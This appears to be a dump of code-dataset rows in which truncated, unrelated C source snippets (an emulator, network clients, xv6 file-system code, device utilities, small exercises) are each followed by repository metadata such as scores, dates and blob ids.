// // Created by Jake Kinsella on 7/20/17. // #include "miscellaneous_branch.h" #include "../../log.h" // Using condition int in place of NNN. Technically works the same void restart(int condition) { log("RST n\n"); push(get_high_order_byte(pc)); push(get_low_order_byte(pc)); pc = (uint16_t) (8 * co...
2.296875
2
2024-11-18T17:55:05.115610+00:00
2021-05-26T22:21:08
b60b577c03260fe35bf1901aec6cbc7003f99876
{ "blob_id": "b60b577c03260fe35bf1901aec6cbc7003f99876", "branch_name": "refs/heads/master", "committer_date": "2021-05-26T22:21:10", "content_id": "1bd673509618afb3f7eb627137b37cf15466807e", "detected_licenses": [ "Apache-2.0" ], "directory_id": "18c0aa51762c5b3fd5db34c5c86c1387bb4b3402", "extensio...
stackv2
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdbool.h> #include <string.h> #include <unistd.h> #include "Bytevec.h" #include "AWS_Sim_Lib.h" #include "TCP_Client_Lib.h" // ================================================================ // Misc. constants #define min(a,b) = (((a) < (b)) ? (a...
2.40625
2
2024-11-18T17:55:05.213919+00:00
2022-05-02T16:34:49
37497f008f4809a886a3a32ba58a8fdabfde5215
{ "blob_id": "37497f008f4809a886a3a32ba58a8fdabfde5215", "branch_name": "refs/heads/master", "committer_date": "2022-05-02T16:34:49", "content_id": "dfd3f37875a5b313b96af631cb83e06d27a9cd13", "detected_licenses": [ "Apache-2.0" ], "directory_id": "9ff415b88e07530e4bef5e837725d8fe2861959f", "extensio...
stackv2
#include "initiator.h" void usage(){ printf("------Initiator Usage------\n"); printf("./initiator \n-n <MirrorServerAddress> \n-p <MirrorServerPort> \n -s <ContentServerAddress1:ContentServerPort1:dirorfile1:delay1,ContentServerAddress2:ContentServerPort2:dirorfile2:delay2>\n"); } int main(int argc, char *argv[]){ ...
3.03125
3
2024-11-18T17:55:05.310983+00:00
2021-10-03T02:12:45
2b7be8c203006643859e3428d5c01ad201824b4c
{ "blob_id": "2b7be8c203006643859e3428d5c01ad201824b4c", "branch_name": "refs/heads/main", "committer_date": "2021-10-03T02:12:45", "content_id": "5b61c7de1449c0efe858fc6b0455f249e9769b5c", "detected_licenses": [ "MIT" ], "directory_id": "d5873229d17363f3e8ad7a59df7ec19f0c3949bb", "extension": "c", ...
stackv2
#include <stdio.h> #include "hash_table.h" #define MAX_TABLE_SIZE 20 int main(int argc, char **argv) { // create hash table HashTable *new_table = new_hashtable(MAX_TABLE_SIZE); hashtable_insert(new_table, "one", "one_value"); hashtable_insert(new_table, "two", "two_value"); hashtable_insert(...
2.734375
3
2024-11-18T17:55:05.472198+00:00
2020-08-07T01:51:16
949b0cb117fc86889936d5efd538ec02fcfe2e7b
{ "blob_id": "949b0cb117fc86889936d5efd538ec02fcfe2e7b", "branch_name": "refs/heads/master", "committer_date": "2020-08-07T01:51:16", "content_id": "beac65fc4b512cbe144826fcb22537e128736c25", "detected_licenses": [ "MIT" ], "directory_id": "feb08986f99162d579f3350bd1d2663b188d1496", "extension": "c"...
stackv2
#include <stdio.h> #include <stdlib.h> int main() { int idade; printf("Qual a sua idade? "); scanf("%d", &idade); if(idade < 16) { printf("Nao eleitor.\n"); } else if(idade >= 18 && idade < 65) { printf("Eleitor obrigatorio.\n"); } else { printf("Eleit...
3.171875
3
2024-11-18T17:55:05.540611+00:00
2018-10-12T14:16:01
dac01526d5da95dfe8c13b4db9848ad0546b60e8
{ "blob_id": "dac01526d5da95dfe8c13b4db9848ad0546b60e8", "branch_name": "refs/heads/master", "committer_date": "2018-10-12T14:16:01", "content_id": "bb4f6714c09a8a8274c42a4684469e77ae0f0b85", "detected_licenses": [ "MIT" ], "directory_id": "ae737fa18039529518ce68957ba656639923912c", "extension": "c"...
stackv2
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include "../CCEL_BASE.h" int main(){ lambda_type_sign(ado,->,int,::,int,int); lambda_init(ado); lambda_set(ado) = lambda(int,(int a,int b),{return a+b;}); //lambda_free(ado); lambda_type_sign(lamad,->,int,::,lambda_type(ab,->,int,::,int...
2.453125
2
2024-11-18T17:55:05.631208+00:00
2021-05-23T19:39:12
b9c8296b952060946634dfa984705b18306aee04
{ "blob_id": "b9c8296b952060946634dfa984705b18306aee04", "branch_name": "refs/heads/main", "committer_date": "2021-05-23T19:39:12", "content_id": "6d5694650bee07c61859f2d087ecc604b752468f", "detected_licenses": [ "MIT" ], "directory_id": "28255a02de3acab662d97206f2e73a7698bfce4d", "extension": "c", ...
stackv2
#include "bastion-timer.h" bool is_ready = false; extern pthread_mutex_t mtx; extern pthread_cond_t cond; extern const struct argp diffs; int main(int argc, char **argv) { int interval = 10; int c; pthread_t thrd_id; argp_parse(&diffs, argc, argv, 0, 0, &interval); if (pthread_crea...
2.203125
2
2024-11-18T17:55:05.699851+00:00
2019-06-21T07:37:06
b4eba854e93f85ac116a5bb5961fded1e7272dd8
{ "blob_id": "b4eba854e93f85ac116a5bb5961fded1e7272dd8", "branch_name": "refs/heads/master", "committer_date": "2019-06-21T07:37:06", "content_id": "3979dbb460350203987f8e6dc1903ff232b88392", "detected_licenses": [ "MIT" ], "directory_id": "a65c0950a777d9d21c00dbb8f66308908bfe929a", "extension": "c"...
stackv2
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <linux/input.h> #include <linux/input.h> //touch screen device path #define TOUCHSCREEN_DEVICE "/dev/input/event1" #define EVENT_BUF_NUM 65 int main(void) { int ...
3
3
2024-11-18T17:55:05.859397+00:00
2020-05-21T12:59:33
9db37afdc6c9b3535399d88749a47954449fdb9a
{ "blob_id": "9db37afdc6c9b3535399d88749a47954449fdb9a", "branch_name": "refs/heads/master", "committer_date": "2020-05-21T12:59:33", "content_id": "b436488d203d58e7c9b5a3f4d14fecace45657bf", "detected_licenses": [ "MIT" ], "directory_id": "089ddc6c7577865c25de42a047222892b4bbca66", "extension": "c"...
stackv2
#include<stdio.h> int main() { int n=30,count,count_space,count_char; printf("Cate randuri vreti sa aiba piramida? : "); scanf("%d",&n); for(count=1; count<=n; count++) { for(count_space=(n-count); count_space>=0; count_space--) printf(" "); for(count_char=1; count_char<=count; count_char++) printf("#"); print...
2.5
2
2024-11-18T17:55:06.089657+00:00
2018-07-13T12:46:04
be8188b9dd2383b410acfd99ccd7197debfda9e8
{ "blob_id": "be8188b9dd2383b410acfd99ccd7197debfda9e8", "branch_name": "refs/heads/master", "committer_date": "2018-07-13T12:46:04", "content_id": "6cc851f33de2c8d06a207a9b8dd0689de6f9f738", "detected_licenses": [ "Unlicense" ], "directory_id": "692b382192918db1d1f786a60c3ac04ec3c89c62", "extension...
stackv2
#include "heaad.h" void fseek_ftell() { FILE *fp = fopen("D:\\a.txt", "r"); //从文件起始开始向右偏移 //fseek(fp, 4, SEEK_SET); //从文件尾部开始向左偏移 fseek(fp, -2, SEEK_END); long l = ftell(fp); printf("当前偏移量:%ld\n", l); //rewind(fp);//光标移动到起始位置 //fseek(fp, 1, SEEK_SET); //fseek(fp, 2, SEEK_CUR...
2.546875
3
2024-11-18T17:55:06.291144+00:00
2023-05-15T14:43:56
1b310498da4922b13ba69caccc9235440fea3cbf
{ "blob_id": "1b310498da4922b13ba69caccc9235440fea3cbf", "branch_name": "refs/heads/main", "committer_date": "2023-05-15T14:43:56", "content_id": "e6289ded1b86c8c70ed6c59267b429f865f31792", "detected_licenses": [ "MIT" ], "directory_id": "04429b2469e556c36a5d8c46d60a00ff986797c3", "extension": "c", ...
stackv2
#include <stdio.h> int main() { printf("Ez az stdout-ra ment.\n"); fprintf(stderr, "Ez viszont az stderr-re lett kiküldve.\n"); return 0; }
2.296875
2
2024-11-18T17:55:06.517505+00:00
2012-02-13T07:47:24
2b9779c39a742b718752bd494a2b1fa650a1fd4a
{ "blob_id": "2b9779c39a742b718752bd494a2b1fa650a1fd4a", "branch_name": "refs/heads/master", "committer_date": "2012-02-13T07:47:24", "content_id": "d8b5ae46a22f1a7ccf172f40b3e94595005b4ba4", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "fcc4befd754f7e079a5c63064ca18393e43f919f", "extens...
stackv2
#include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <linux/fb.h> // Defines FBIOGET_VSCREENINFO, fb_var_screeninfo, etc. #include <string.h> #include <unistd.h> int print_usage(char *prog) { return printf("Usage: %s...
2.75
3
2024-11-18T17:55:06.991973+00:00
2021-11-25T13:08:35
2fd9344d2518a75299ad6ce96d3e9d9803af5d80
{ "blob_id": "2fd9344d2518a75299ad6ce96d3e9d9803af5d80", "branch_name": "refs/heads/master", "committer_date": "2021-11-25T13:08:35", "content_id": "76220b301a789e4eeb358bd57ad36a08cc371727", "detected_licenses": [ "MIT" ], "directory_id": "c56de0ee5c53c2b10d74b59cf2721f33584be771", "extension": "c"...
stackv2
// Directories int namecmp(const char *s, const char *t) // 比較 path 名稱 { return strncmp(s, t, DIRSIZ); } // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) // 尋找 dp 目錄中 name 對應的 inode { uint off, inum; s...
3.03125
3
2024-11-18T17:55:07.161678+00:00
2017-12-11T05:45:12
758d6be6738282ae1676c17bd58972bea8f653b8
{ "blob_id": "758d6be6738282ae1676c17bd58972bea8f653b8", "branch_name": "refs/heads/master", "committer_date": "2017-12-11T05:45:12", "content_id": "50973be36ff5abe8795f56ea370eb32e39e9886c", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "2318497a58bff14b9929c9d15abdfbcf36553069", "extens...
stackv2
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #define ff fflush(stdout); int getSize(char str []){ // returns size of string char *tempPtr; int strSize = 0; for (tempPtr = str; *tempPtr != '\0'; tempPtr++){ strSize++; } return strSize; } int getPS1Loc(char ** envp, int keyLoc){ ...
2.78125
3
2024-11-18T17:55:07.242723+00:00
2023-08-25T04:46:28
71b4322707cbfd4a8f8461cc3715b079c7784011
{ "blob_id": "71b4322707cbfd4a8f8461cc3715b079c7784011", "branch_name": "refs/heads/main", "committer_date": "2023-08-25T07:17:19", "content_id": "c8bc225aa72b85769dc975c1bb9ff4b9755a3775", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "dc7631ad46c850ad3b491c261c2da42edffabc4e", "extensio...
stackv2
/* Copyright 2021 The ChromiumOS Authors * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "board_rw.h" #include "common.h" #include "console.h" #include "fpsensor_detect.h" #include "gpio.h" #include "hooks.h" #include "registers.h" #include "spi.h" #...
2.15625
2
2024-11-18T17:55:08.773977+00:00
2021-03-11T08:45:02
8166914624e0a252cb794972f0fc0ec708d66675
{ "blob_id": "8166914624e0a252cb794972f0fc0ec708d66675", "branch_name": "refs/heads/main", "committer_date": "2021-03-11T08:45:02", "content_id": "0f4bb154193b4199c0b4286f7952b245c19d226d", "detected_licenses": [ "Apache-2.0" ], "directory_id": "1c42e4f2ac284091bf26cb6d24590352e43c8c78", "extension"...
stackv2
#include <regex.h> #include <string.h> #include <stdlib.h> #include "wave_types.h" #define REG_CURRENT_SIZE 1024 #define REG_MATCH_COUNT 1 extern int WAVE_DEBUG; /* * date :2021-3-8 * desc :delete the space in string * input :string * output: * return:return None * */ void str_trim(char *str) { if ...
2.453125
2
2024-11-18T17:55:09.345619+00:00
2021-11-09T06:54:49
4f3c56448a9e59b13d840c21134bd02c90377910
{ "blob_id": "4f3c56448a9e59b13d840c21134bd02c90377910", "branch_name": "refs/heads/main", "committer_date": "2021-11-09T06:54:49", "content_id": "0bf5385bc036e4885badf307665436e87e916d72", "detected_licenses": [ "MIT" ], "directory_id": "dab262a64782c8272e70e2fbfd81d55312cc8ee4", "extension": "c", ...
stackv2
#include "char_arr.h" #include <stdio.h> int main(int argc, const char *argv[]) { int i; char buf[BUFSIZ]; ssize_t len; i = 0; while (++i < argc) { if ((len = ft_str_reverse(buf, argv[i]))) write(STDOUT_FILENO, buf, len); else return (1); } return (0); }
2.359375
2
2024-11-18T17:55:09.493464+00:00
2017-03-31T17:50:38
473f0e3cee6f5cd58eb90926c260e50252652ebd
{ "blob_id": "473f0e3cee6f5cd58eb90926c260e50252652ebd", "branch_name": "refs/heads/master", "committer_date": "2017-03-31T17:50:38", "content_id": "2c979169e971f50959378fbcf0971ae6d62eed09", "detected_licenses": [ "MIT" ], "directory_id": "ffc396b75e7525b20b8d601cefe5c44bb1b50b3b", "extension": "h"...
stackv2
#ifndef __AVM2_CONSTANT_POOL__ #define __AVM2_CONSTANT_POOL__ #include <avm2/DataTypes.h> #include <avm2/ABC/StringInfo.h> #include <avm2/ABC/NamespaceInfo.h> #include <avm2/ABC/NamespaceSetInfo.h> #include <avm2/ABC/MultinameInfo.h> typedef struct { u30 int_count; s32* integer; // [0] = 0; u30 uint_count; u32* ui...
2.09375
2
2024-11-18T17:55:09.564586+00:00
2018-05-31T22:28:05
d4150703ab5b10387b9a0fd0a0bf9813588184ac
{ "blob_id": "d4150703ab5b10387b9a0fd0a0bf9813588184ac", "branch_name": "refs/heads/master", "committer_date": "2018-05-31T22:28:05", "content_id": "d0a0b63146047db972616e80421fb0980a5baeb3", "detected_licenses": [ "Apache-2.0" ], "directory_id": "fe0739df2526cec017a56cc78b6a14c6c1ceba38", "extensio...
stackv2
#include<stdio.h> #include<stdlib.h> #include"definiciones.h" #define A_matriz "A.txt" //de tamaño MxN #define v_vector "v.txt" //de tamaño Nx1 #define z_vector "z.txt" extern void dger_(int *m, int *n, double *alpha, double *x, int *incx, double *y, int *incy, double *a, int *lda); int main(int argc, char *argv[]){ a...
2.578125
3
2024-11-18T17:55:09.630078+00:00
2023-01-30T18:43:39
552efe59385652206f9bede0d92a10af99d89fed
{ "blob_id": "552efe59385652206f9bede0d92a10af99d89fed", "branch_name": "refs/heads/zeus", "committer_date": "2023-01-30T18:43:39", "content_id": "0b028ea11b35ef1636944d2d07066910fba096d4", "detected_licenses": [ "MIT" ], "directory_id": "a1c75a097caa55c92737e1662a8e41f1736f0df2", "extension": "c", ...
stackv2
/* * Copyright (c) 2015, National Instruments Corp. * * Utility to control GPS on USRP Project Brimstone * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2 of the License. * * ...
2.078125
2
2024-11-18T17:55:09.847704+00:00
2023-07-21T14:01:28
d2102bea54281874f33c16b7a5982cf8a14d37e5
{ "blob_id": "d2102bea54281874f33c16b7a5982cf8a14d37e5", "branch_name": "refs/heads/master", "committer_date": "2023-07-21T14:01:28", "content_id": "2c66263998d9555dd0aa3cc61d2b2d2cfc11cdca", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "020ef13aa76bde79e045e170db391f056ea204df", "extens...
stackv2
/* * Copyright (c) 2023 Arm Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed...
2.0625
2